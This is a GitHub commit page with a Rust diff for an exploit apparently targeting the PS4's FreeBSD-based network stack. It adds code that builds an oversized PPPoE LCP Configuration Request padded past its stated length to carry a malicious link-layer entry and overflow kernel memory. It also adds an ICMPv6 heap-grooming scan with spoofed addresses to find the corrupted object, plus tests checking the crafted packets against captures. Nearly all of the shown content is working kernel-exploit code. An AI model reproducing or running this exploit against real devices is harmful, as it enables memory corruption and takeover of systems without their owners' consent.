Skip to content

Commit

Permalink
Fb overflow (#10)
Browse files Browse the repository at this point in the history
* conf_req

* Add search for corrupted obj

* Implement lle_overflow
  • Loading branch information
fedebuonco authored Oct 14, 2024
1 parent bdf4393 commit 69ea556
Show file tree
Hide file tree
Showing 3 changed files with 129 additions and 42 deletions.
171 changes: 129 additions & 42 deletions src/exploit.rs
Original file line number Diff line number Diff line change
Expand Up @@ -356,42 +356,7 @@ impl Exploit {
self.ipcp_negotiation(interface);

let mut _corrupted = false;
// TODO Implement spray again in reverse ?
// for i in reversed(range(self.SPRAY_NUM)):
// if i % 0x100 == 0:
// print('[*] Scanning for corrupted object...{}'.format(hex(i)),
// end='\r',
// flush=True)

// if i >= self.HOLE_START and i % self.HOLE_SPACE == 0:
// continue

// source_ipv6 = 'fe80::{:04x}:4141:4141:4141'.format(i)

// self.s.send(
// Ether(src=self.source_mac, dst=self.target_mac) /
// IPv6(src=source_ipv6, dst=self.target_ipv6) /
// ICMPv6EchoRequest())

// TODO Implement this loop

// while True:
// pkt = self.s.recv()
// if pkt:
// if pkt.haslayer(ICMPv6EchoReply):
// break
// elif pkt.haslayer(ICMPv6ND_NS):
// corrupted = True
// break

// if corrupted:
// break

// self.s.send(
// Ether(src=self.source_mac, dst=self.target_mac) /
// IPv6(src=source_ipv6, dst=self.target_ipv6) /
// ICMPv6ND_NA(tgt=source_ipv6, S=1) /
// ICMPv6NDOptDstLLAddr(lladdr=self.source_mac))
// search_for_corrupted_obj(); // TODO make this the return of up

if !_corrupted {
println!("[-] Scanning for corrupted object...failed. Please retry the exploit.");
Expand Down Expand Up @@ -623,8 +588,12 @@ fn extract_ps4_source_mac(data: &[u8]) -> Result<[u8; 6], Box<dyn std::error::Er
Ok(mac_address)
}

/// Creates the Link-Layer Entry.
/// TODO explain why malicious
/// Creates the Link-Layer Entry
/// The LLE (link layer entry) table stores information about hosts on a network
/// and is used to translate between network layer addresses and data link layer
/// addresses. This is a malicious entry for it.
/// The link layer entry struct is defined in the FreeBSD kernel
/// `freebsd-src/sys/net/if_llatbl.h`
pub fn build_overflow_lle(pppoe_softc: u64) -> Vec<u8> {
let mut overflow_lle = Vec::new();

Expand Down Expand Up @@ -699,6 +668,42 @@ pub fn create_fake_ifnet(pppoe_softc: u64) -> Vec<u8> {
fake_ifnet
}

fn search_for_corrupted_obj(
tx: &mut dyn DataLinkSender,
rx: &mut dyn DataLinkReceiver,
source_mac: [u8; 6],
target_mac: [u8; 6],
target_v6: [u8; 16],
) {
for i in (0..constants::SPRAY_NUM).rev() {
println!("[+] Heap Grooming at {:?}%", 100 * i / constants::SPRAY_NUM);
if i >= constants::HOLE_START && i % constants::HOLE_SPACE == 0 {
println!("[-]HOLE");
continue;
}
let source_v6_string = format!("fe80::{:04x}:4141:4141:4141", i);
let source_v6: [u8; 16] = std::net::Ipv6Addr::from_str(&source_v6_string)
.expect("Failed to parse IPv6 address")
.octets();
// listen for
let icmpv6_req = create_icmpv6_echo_req(source_mac, target_mac, source_v6, target_v6);

// Send the request
let _result = tx
.send_to(icmpv6_req.as_slice(), None)
.expect("[-] Failed to send icmpv6");

// if not recive the nd_ns then timeout and return false
let _result = listen_for_packet(rx, is_icmpv6_nd_ns);
// self.s.send(
// Ether(src=self.source_mac, dst=self.target_mac) /
// IPv6(src=source_ipv6, dst=self.target_ipv6) /
// ICMPv6ND_NA(tgt=source_ipv6, S=1) /
// ICMPv6NDOptDstLLAddr(lladdr=self.source_mac))
//TODO return corr yes or no
}
}

fn spray(
tx: &mut dyn DataLinkSender,
rx: &mut dyn DataLinkReceiver,
Expand Down Expand Up @@ -1064,18 +1069,40 @@ pub fn create_lcp_conf_request(
payload.push(session_data);
payload.extend_from_slice(&session_id);

// Fixed length
payload.extend_from_slice(&[0, 6]);
let length_index = payload.len(); // Store the index where the length will be inserted
payload.extend_from_slice(&[0x00, 0x00]);

// PPP header
payload.extend_from_slice(&constants::ETHERTYPE_LCP.to_be_bytes());

// LCP and fixed length
payload.push(constants::LCP_CONF_REQ); // Configuration Request
payload.push(constants::LCP_ID);
payload.extend_from_slice(&[0, 4]);

if overflow_lle.is_some() {}
if overflow_lle.is_some() {
// Read https://datatracker.ietf.org/doc/html/rfc1661#section-6 and now I know
payload.extend_from_slice(&[0x01, 0x04]); // 260 lcp size when adding the malicious options

// Option
payload.push(0x00); // The RESERVED type
payload.push(0xfe); // The Length of the lcp options size 254
for _ in 0..252 {
payload.push(0x41);
}
// Push the length of the remaining stuff
payload.extend_from_slice(&[0x00, 0x7A]); // 122
payload.extend_from_slice(&overflow_lle.unwrap());
} else {
payload.extend_from_slice(&[0, 4]); // 4 lcp size whithout adding the malicious options
}

// Now, calculate the actual payload length
let payload_length = (payload.len() - 6) as u16;

// Update the length field in the PPPoE header (stored at length_index)
let length_bytes = payload_length.to_be_bytes();
payload[length_index] = length_bytes[0];
payload[length_index + 1] = length_bytes[1];

ether::Builder::default()
.source(source_mac.into())
Expand Down Expand Up @@ -1744,4 +1771,64 @@ mod tests {

compare_packets("icmpv6_echo_req", &expected_packet.data, &generated_packet);
}

#[test]
fn test_create_lcp_conf_request_normal() {
// Load the expected packet from a .pcap file for comparison
let mut cap = Capture::from_file("test_data/lcp_conf_request.pcap")
.expect("Failed to open pcap file");
let expected_packet = cap
.next_packet()
.expect("Failed to read LCP CONF REQUEST packet");

// Define the test input data
let source_mac = get_test_host_mac(); // Function that retrieves a test MAC for the source
let target_mac = get_test_ps4_mac(); // Function that retrieves a test MAC for the target
let session_data = 0x00; // Example session data byte
let session_id = constants::PPPOE_SESSION_ID.to_be_bytes(); // Example session ID (2 bytes)

// Call the function to generate the LCP CONF REQUEST packet
let generated_packet =
create_lcp_conf_request(source_mac, target_mac, session_data, session_id, None);

// Compare the expected packet with the generated packet
compare_packets("lcp_conf_request", &expected_packet.data, &generated_packet);
}

#[test]
fn test_create_lcp_conf_request_malicious() {
// Load the expected packet from a .pcap file for comparison
let mut cap = Capture::from_file("test_data/lcp_conf_request_m.pcap")
.expect("Failed to open pcap file");
let expected_packet = cap
.next_packet()
.expect("Failed to read LCP CONF REQUEST packet");

// Define the test input data
let source_mac = get_test_host_mac(); // Function that retrieves a test MAC for the source
let target_mac = get_test_ps4_mac(); // Function that retrieves a test MAC for the target
let session_data = 0x00; // Example session data byte
let session_id = constants::PPPOE_SESSION_ID.to_be_bytes(); // Example session ID (2 bytes)

// Create an overflow LLE for testing
let test_host_unique = get_test_host_unique();
let pppoe_softc: u64 = u64::from_le_bytes(test_host_unique);
let overflow_lle = build_overflow_lle(pppoe_softc);

// Call the function to generate the LCP CONF REQUEST packet
let generated_packet = create_lcp_conf_request(
source_mac,
target_mac,
session_data,
session_id,
Some(overflow_lle),
);

// Compare the expected packet with the generated packet
compare_packets(
"lcp_conf_request_m",
&expected_packet.data,
&generated_packet,
);
}
}
Binary file added test_data/lcp_conf_request.pcap
Binary file not shown.
Binary file added test_data/lcp_conf_request_m.pcap
Binary file not shown.

0 comments on commit 69ea556

Please sign in to comment.